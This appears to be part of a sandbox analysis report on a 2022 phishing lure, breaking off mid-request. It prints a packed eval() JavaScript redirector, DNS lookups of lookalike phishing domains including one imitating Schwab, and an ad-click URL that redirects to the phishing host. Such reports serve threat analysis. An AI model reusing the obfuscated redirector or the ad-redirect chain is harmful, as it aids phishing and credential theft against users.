File Content Preview:	<script>eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7.6(5.4(\'3+2+1+0=\'))',1,8,'PC9ib2R5PjwvaHRtbD4\|PGJvZHk\|PHRpdGxlPlJlZGlyZWN0aW5nLi4uPC90aXRsZT48c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5ocmVmPSJodHR

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 12, 2022 17:32:48.513725042 CEST	192.168.2.5	8.8.8.8	0x1378	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:48.517999887 CEST	192.168.2.5	8.8.8.8	0xf9d	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:48.522233009 CEST	192.168.2.5	8.8.8.8	0xeef7	Standard query (0)	adclick.g.doubleclick.net	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:49.903461933 CEST	192.168.2.5	8.8.8.8	0x7db5	Standard query (0)	t.myvisualiq.net	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:50.554892063 CEST	192.168.2.5	8.8.8.8	0xf314	Standard query (0)	www.atlanticare.phulharjutemills.com	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:54.931308985 CEST	192.168.2.5	8.8.8.8	0xe12e	Standard query (0)	login.secureauthenticatinos.schwabc.xyz	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:55.626046896 CEST	192.168.2.5	8.8.8.8	0xb225	Standard query (0)	cstaticdun.126.net	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:55.626852989 CEST	192.168.2.5	8.8.8.8	0x908f	Standard query (0)	picsum.photos	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.081671953 CEST	192.168.2.5	8.8.8.8	0xf255	Standard query (0)	i.picsum.photos	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.597632885 CEST	192.168.2.5	8.8.8.8	0x9eac	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.126688957 CEST	192.168.2.5	8.8.8.8	0x7510	Standard query (0)	cstaticdun.126.net	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:06.178303003 CEST	192.168.2.5	8.8.8.8	0xc46	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)
Apr 12, 2022 17:34:09.628717899 CEST	192.168.2.5	8.8.8.8	0x2ef6	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 12, 2022 17:32:48.533324003 CEST	8.8.8.8	192.168.2.5	0x1378	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:32:48.533324003 CEST	8.8.8.8	192.168.2.5	0x1378	No error (0)	clients.l.google.com		216.58.209.46	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:48.535773993 CEST	8.8.8.8	192.168.2.5	0xf9d	No error (0)	accounts.google.com		172.217.168.45	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:48.550345898 CEST	8.8.8.8	192.168.2.5	0xeef7	No error (0)	adclick.g.doubleclick.net		172.217.168.34	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	t.myvisualiq.net	pool-eu.visualiq.iponweb.net		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	pool-eu.visualiq.iponweb.net	elb-aws-fr-visualiq-1583280815.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	elb-aws-fr-visualiq-1583280815.eu-central-1.elb.amazonaws.com		35.156.9.108	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	elb-aws-fr-visualiq-1583280815.eu-central-1.elb.amazonaws.com		52.58.158.68	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	elb-aws-fr-visualiq-1583280815.eu-central-1.elb.amazonaws.com		3.126.182.26	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	elb-aws-fr-visualiq-1583280815.eu-central-1.elb.amazonaws.com		3.127.227.49	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:49.920634985 CEST	8.8.8.8	192.168.2.5	0x7db5	No error (0)	elb-aws-fr-visualiq-1583280815.eu-central-1.elb.amazonaws.com		52.59.143.230	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:50.659143925 CEST	8.8.8.8	192.168.2.5	0xf314	No error (0)	www.atlanticare.phulharjutemills.com		192.64.87.200	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:54.959707975 CEST	8.8.8.8	192.168.2.5	0xe12e	No error (0)	login.secureauthenticatinos.schwabc.xyz		194.5.212.62	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:55.649821043 CEST	8.8.8.8	192.168.2.5	0x908f	No error (0)	picsum.photos		104.26.5.30	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:55.649821043 CEST	8.8.8.8	192.168.2.5	0x908f	No error (0)	picsum.photos		172.67.74.163	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:55.649821043 CEST	8.8.8.8	192.168.2.5	0x908f	No error (0)	picsum.photos		104.26.4.30	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net	cstaticdun.126.net.163jiasu.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.163jiasu.com	cstaticdun.126.net.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.174	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.172	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.170	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.173	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.175	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.171	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.169	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.043921947 CEST	8.8.8.8	192.168.2.5	0xb225	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.56.168	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.105154991 CEST	8.8.8.8	192.168.2.5	0xf255	No error (0)	i.picsum.photos		104.26.5.30	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.105154991 CEST	8.8.8.8	192.168.2.5	0xf255	No error (0)	i.picsum.photos		104.26.4.30	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.105154991 CEST	8.8.8.8	192.168.2.5	0xf255	No error (0)	i.picsum.photos		172.67.74.163	A (IP address)	IN (0x0001)
Apr 12, 2022 17:32:56.617320061 CEST	8.8.8.8	192.168.2.5	0x9eac	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net	cstaticdun.126.net.163jiasu.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.163jiasu.com	cstaticdun.126.net.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.231	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.225	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.230	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.229	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.232	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.226	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.227	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:04.336754084 CEST	8.8.8.8	192.168.2.5	0x7510	No error (0)	cstaticdun.126.net.w.kunluncan.com		163.181.50.228	A (IP address)	IN (0x0001)
Apr 12, 2022 17:33:06.206296921 CEST	8.8.8.8	192.168.2.5	0xc46	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:33:06.206296921 CEST	8.8.8.8	192.168.2.5	0xc46	No error (0)	googlehosted.l.googleusercontent.com		216.58.209.33	A (IP address)	IN (0x0001)
Apr 12, 2022 17:34:09.656892061 CEST	8.8.8.8	192.168.2.5	0x2ef6	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2022 17:34:09.656892061 CEST	8.8.8.8	192.168.2.5	0x2ef6	No error (0)	googlehosted.l.googleusercontent.com		142.250.203.97	A (IP address)	IN (0x0001)

Timestamp	kBytes transferred	Direction	Data
Apr 12, 2022 17:32:50.761584044 CEST	873	OUT	GET /get/ HTTP/1.1 Host: www.atlanticare.phulharjutemills.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 12, 2022 17:32:50.886955023 CEST	875	IN	HTTP/1.1 200 OK Date: Tue, 12 Apr 2022 15:32:50 GMT Server: Apache Last-Modified: Mon, 11 Apr 2022 19:36:29 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6685 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 69 b3 b3 c8 95 e6 e7 76 84 ff c3 9d d7 1f aa 2a 28 17 8b 58 6b 8b 48 40 62 11 62 11 08 24 26 26 26 d8 77 84 d8 a1 c3 ff 7d b8 f7 5d aa ec ae f2 bc e5 9e b1 dd 6e 25 71 b9 64 e6 39 49 3e 99 c9 59 38 02 be 4f fb aa fc f1 e5 f7 bf fb 3e 8d bc f0 ed a0 8a 7a ef a5 f6 aa e8 87 77 63 16 4d cd bd ed df bd 04 f7 ba 8f ea fe 87 77 53 16 f6 e9 0f 61 34 66 41 f4 c7 b7 cc d7 2f 43 17 b5 7f ec 02 af f4 fc 32 fa a1 be 7f fd 92 d5 59 9f 79 e5 5b 61 f4 03 fa f5 4b e5 cd 59 35 54 1f 0b be 41 de fd b8 9d aa cf fa 32 fa 51 2f 23 af 8b 5e 1c 2f eb bf f9 e6 9b ef e1 f7 a5 af 5d e9 82 36 6b fa 97 7e 69 b6 ce f4 d1 dc c3 b9 37 7a ef 4b 5f 1b f8 fd ef e2 a1 0e fa ec 5e bf 94 77 2f fc f2 ab 97 7f 7f 19 bd f6 e5 f2 f2 c3 cb bb b4 ef 9b ee 5b 18 2e ef 49 56 7f d3 45 c1 d0 46 de d0 a7 1b 8c 2c f0 fa ac be 77 df 74 41 3a 79 7e f0 cd bc ac f0 75 71 38 af 5c b4 77 df bd 36 fc da 4c ea 75 e9 d6 d2 94 d5 e1 7d fa a6 bc bf 72 dd eb 6f 5e 8b bf cb e2 97 2f ff c7 eb d1 76 ce b7 53 9e 95 5f 22 bd 77 fd eb 50 7e f7 a7 a8 dc 20 fe 8c 72 eb 23 f4 f2 ee 0f ef b6 fd 6b 2b df 74 4d 99 f5 5f 7e f1 87 2f be fa 9f e8 ff fa ee 4f 1f 1a ba 37 51 fd e5 c6 f0 f5 cb bb ff dd 45 65 fc ee ab ef fe f4 3d fc 7e 00 5e 07 b0 cc ea e2 a5 8d ca 1f de 75 e9 36 4f c1 d0 bf 64 db 54 bd 7b 49 db 28 fe e1 5d e8 f5 de b7 59 e5 25 11 3c ff f1 b5 e2 3b 7f 1b 69 12 ff 1a 00 c0 02 70 03 89 04 0c f0 96 d8 fb 71 db bb c9 b6 db a7 d2 fe 7d 21 20 01 02 c0 09 bf 6f 87 d3 89 fd 50 28 24 02 00 1c a6 6e b4 12 f7 91 9f bf 83 2d 2f e6 1b 3d 9b dc 7e e2 7f 3d 72 5f 0f 8d fd 47 7e 2e d9 8e f8 c1 d8 38 5f cf 09 a4 0f e5 c6 db df 47 d6 f7 75 bf 9a 78 18 86 69 40 91 af 4c 1c 01 4f 00 0c 35 0d a4 92 5f fe 2a db af a7 4c fa bc ed 75 84 f8 d3 fa 79 db 67 b6 99 bd 0d c1 67 b6 79 5a 3e b7 d5 d7 46 3f b7 a7 a7 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe df 88 ff af de 71 7c a6 7f f9 64 7f 66 ba 6c b4 ec fe fc 79 db e1 73 5b 7d ed c1 67 b6 b9 3f 7f 6e a3 c6 d6 e8 e7 b6 b9 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 ff 8d f8 7f ba bd 28 e2 bf 70 cf 91 85 7e a1 10 c4 c9 2f 14 3e f9 9f fc 4f fe 27 ff bf 00 ff eb f3 00 ff c8 44 ff 83 f1 3f f9 9f fc 4f fe 27 ff 3f 17 ff db 33 5c fb 57 56 ce 78 2b f8 f4 7c 17 07 78 e3 97 ce f3 31 fd 9d 9e ef 4a 7e f5 17 22 4f fa 27 fd 93 fe 49 ff a4 7f d2 7f 0e fd df a8 96 fe 59 12 fb ab 77 bb 7e d3 fd b2 27 fd 93 fe 49 ff a4 7f d2 3f e9 ff 6c 33 de b4 8c fe 17 5a e7 99 7f e6 df 27 fe 2f ee a5 fe d6 fc 3f ba ff cf fc 3f 79 fe f5 1d 46 e0 cd 4a 17 de f2 2c f8 f8 ea a2 8f 25 bf 96 f4 6d 89 4d fc d8 bc 1e 2b 35 0c 00 47 c6 13 c8 2e ba f4 57 d9 7e 35 71 7f e1 53 fc a5 47 b1 3c eb 9f f5 ff 85 eb a7 bf ed b2 f8 94 0e 7f 6e 52 5c fe d2 a2 78 d6 3f eb ff 2b d7 bf ae f1 db a7 d5 ce fe 14 58 f9 99 1a fa 97 ab e7 7f b2 d5 f4 0f 87 d3 3f 53 ff fe 8e f5 dc 5b c9 db ce 78 2b d8 83 8f af 46 4c c0 5f b7 29 5e 87 0d 68 50 f1 7a 3c c4 db 58 2a 33 05 58 e6 04 19 ef ed 11 86 7c 3d f1 ab 7d c2 af cd 76 06 b1 a0 30 c0 a9 1a 03 b6 fc 2b 93 32 33 6f f5 ef 4f 0c 3e c9 f0 ee 67 cf 34 7f 92 ef ca cf 9f Data Ascii: }iv(XkH@bb$&&&w}]n%qd9I>Y8O>zwcMwSa4fA/C2Yy[aKY5TA2Q/#^/]6k~i7zK_^w/[.IVEF,wtA:y~uq8\w6Lu}ro^/vS_"wP~ r#k+tM_~/O7QEe=~^u6OdT{I(]Y%<;ipq}! oP($n-/=~=r_G~.8_Guxi@LO5_LuyggyZ>F?'''''''''''''''''''q\|dflys[}g?n(p~/>O'D?O'?3\WVx+\|x1J~"O'IYw~'I?l3Z'/??yFJ,%mM+5G.W~5qSG<nR\x?+X?S[x+FL_)^hPz<X*3X\|=}v0+23oO>g4
Apr 12, 2022 17:32:50.886986017 CEST	876	IN	Data Raw: c9 fe 24 ef a7 9f c9 fb ff 3e fc 9a 5b 7d d8 82 9f f1 ff d5 c9 fa b3 c4 3d 3e a6 0b b0 06 ea c3 f6 a9 d1 16 a8 9f 3a 28 7c 2c f5 26 fe f6 b1 34 fd 48 59 75 00 fb d4 ed ff 3e fc c9 87 6b 4a f8 e9 9a fa 4f e5 7f e6 3f 4e ff 2f da fb 59 9e fb 29 f7 Data Ascii: $>[}=>:(\|,&4HYu>kJO?N/Y)>M1'/Eq0?Zjj\|\|zog~~_A~_V/b'y}Lo/i$/iCOxOqyP9}_??
Apr 12, 2022 17:32:50.887005091 CEST	878	IN	Data Raw: e4 28 5b cc 5e d6 8b 0a 9c 82 b4 5d 7c dd d8 a4 0d b3 1e 81 e2 4a 11 1b b3 49 59 d9 94 d9 05 1c cb dc f3 0c b2 ef 85 38 3f 42 71 93 c8 af 6b 7d b2 92 d1 b4 e2 4c 99 c9 fe bc 03 2a 72 92 78 34 b2 3d f8 fa 40 dd 64 75 69 7c 29 aa f0 18 65 ba 7c 27 Data Ascii: ([^]\|JIY8?Bqk}L*rx4=@dui\|)e\|'0M,:gEO7f5wVa9vLmNt-SN4s"Z kZK'@!A}o]Q+D`x\|<v4(vY-<iFgJY&Cdq<Ro1@hyq[>b
Apr 12, 2022 17:32:50.887023926 CEST	879	IN	Data Raw: 25 16 6c d7 f0 55 3b 33 4b 56 8f 23 d7 8e 7a dc 72 f8 70 51 0a aa 03 13 d8 b4 81 19 ed 4f 72 04 f8 c8 41 30 0d 85 e1 e3 91 ee 69 15 97 54 b7 2c 6d 27 bc 9c 24 87 da ed dc 49 c7 85 58 c1 a6 9d 14 3d 18 af 73 7c 2d 85 75 dc dd e6 47 4b 8f 06 55 f8 Data Ascii: %lU;3KV#zrpQOrA0iT,m'$IX=s\|-uGKU66G;tgAoYZiAv<q`n+M;`]acG$e*jNQg7yn/`TnCbC+rswD^I24]eU
Apr 12, 2022 17:32:50.887037039 CEST	879	IN	Data Raw: 6a b3 3e fa f2 dd f7 cd 07 be 2f e2 7b dd ff 31 f6 aa ac 5c be 7d b1 bc f4 5e 79 5f bf 08 51 1d 8d db ff ce ab bb 3f 76 51 9b c5 df 05 f7 f2 de 7e fb f2 07 ca 7f dd be 7b 63 9b a2 2c 49 fb 6f 5f 48 04 f9 ae f2 da 24 ab ff d8 df 9b 6f 5f 88 ad 0b Data Ascii: j>/{1\}^y_Q?vQ~{c,Io_H$o__c.Co~~}=q`3=q`3=q`3=q`3=q`3=q`3=q`jar3~USF}[
Apr 12, 2022 17:32:51.010688066 CEST	881	IN	Data Raw: 06 29 8f 56 59 24 d0 b9 1e 4a 34 41 ae 1d bc db f5 b0 55 43 4a 5a f7 c6 35 c0 28 74 2b f3 cb 3e 10 8f bd d3 47 44 b0 60 f7 7e b3 83 ad 51 0f c3 36 0c 85 ee d1 f6 0f 26 1d 22 2e 36 b3 75 77 01 ea 14 11 64 83 11 f2 ec 03 87 2b ee c9 c2 7b 8a d6 93 Data Ascii: )VY$J4AUCJZ5(t+>GD`~Q6&".6uwd+{97[w29<V6\|Af&F@3!d}Yk^cuta80.eDd,rgK<ts@btUXJv%p}%!&QS=

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:49 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:49 UTC	3	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-YaxZWK0qkHBPHHUu6w9xNg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 12 Apr 2022 15:32:49 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5580 X-Daystart: 30769 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-04-12 15:32:49 UTC	4	IN	Data Raw: 35 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 35 38 30 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 30 37 36 39 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 51e<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5580" elapsed_seconds="30769"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2022-04-12 15:32:49 UTC	4	IN	Data Raw: 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 Data Ascii: mhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><ap
2022-04-12 15:32:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:49 UTC	0	OUT	GET /pcs/click?xai=AKAOjsuNB9fkUnzdSKCMNvc7k4ilbQLDjtqYxh55Se5SIiE7_Sz6O4BVOpEyALQwilM3YNHJHFqkmqqT8ArqEyOG3nqoDnjG7dyxijqEYVK13iaLydptAurmS3iDTTmwXXbMlNXQFHUwi4AuxeX0VPkWveH8NbkWVaFMGGP3TE-UHQS10LQbw-wf4vbn1FxooWMKiGYhq9rssP9f9YWeyNmk3xFoLPQENaDU6Pw-zdqShPwUDZIzoYnNa2ZyfBwIKrQEmmArfN4N8-uR17f7Jxn4bbgswNCM91VbHOHvAVsqU3d1FfFTv-NRZzQoSIGHwkxnvHdKoH0EbQDwnW-WEERba2y190QSUoxnj6NEmiezvUgcVDHMHH1rUxHrtA0oX6FDFVy8oY5bcMpJpu4aCtI8qQ9IkWv709ifjzpA5CYkdV-umhViZcT_OmQMfjVWAaY75NIUSLhmCMWsCLrUqvddESnj3PaCtiAa2akzR3XNXRUXhDtzteOdNQdJIkPN8w0B2_-XsQ5IWjB5yewwqf0Eom3cUp8wZuiQnp19_YffgZEJEB_WkZfndO57-S62itG2ps_PaIn7WUqbO9_lWQmg5FAUWYKwXaHRs8u6qbJpt2dNb_Ll-eclk1rvVREJcKLIKYitTa9ZnXCgGldlcaNumqCtyw8P5RJHzV_ergpQ2LjRkvj9n3wyYzmmBtdiTkgUSbm2xBZA3or03jqbj2OUZ70xz9RsAx_1gDV0kvf-qGjFRJ1Q710fPCA7M5b_RnNcXq0AJ32kjgglnFxPQ0Gv8dCE5ECa7f7xcXq-2ytMWeTn17SthfLVtRDpNX6ckBfPzB8kQR68dgSd_1Lls3q7vnynHmuAs1ZQtMS181z-aOiOVWvRudDnMjjmmj0vRbms4Rs4SXNh8axZ1U7LeqsfU2gxkdIKh-MFyxr_esK3XLk5D6nVs3NZaJ5tb-aOy1r3-GejXCaRMbuAAAF-232Jtut7oBtNLQRzer7aKhBXwwARGXNDDaHLj0dvu_14NyG-159RIPlDhx_dDJwBzyg0uSWOaE_lUMQeaNvJXXAL-QAYSCRXlbn44MVIwz_k0-7T7ntrzNmWecmhlsI9JU63GpPiPNanT1fxD7QEX94fEAx7aduaUIh7T0CPVWRBv9pp6AdlKgX_su0_O_Mk_Rs&sai=AMfl-YTgmC8fWFlyDKmODFOhDlMLXZV2tObY33ijNiNvLvbmkQEagBRrkPF-04TIAUHFpbC0va0XuYy_zt2Jq59gSDIX1LKFWNIM0k_kO7QgBSEmPNvHUoP6YdBny_CCvCXusG1PRHOd0eVnY-RFWWqV87dpTjBUJ0ynQWPkDPW5&sig=Cg0ArKJSzMXHuNqM-G5z&pr=2:2.900839&fbs_aeid=[gw_fbsaeid]&urlfix=1&nx=70&ny=208&dim=160x600&adurl=https://t.myvisualiq.net/click_pixel%3Fet%3Dc%26ago%3D212%26ao%3D546%26aca%3D26737887%26si%3D7192763%26ci%3D161117887%26pi%3D317760010%26ad%3D512366295%26sv1%3D%5Bkeyword_id%5D%26advt%3D4470646%26chnl%3D-7%26vndr%3D115%26sz%3D6585%26u%3Dred%3Dhttp://www.Atlanticare.phulharjutemills.com/get/ HTTP/1.1 Host: adclick.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 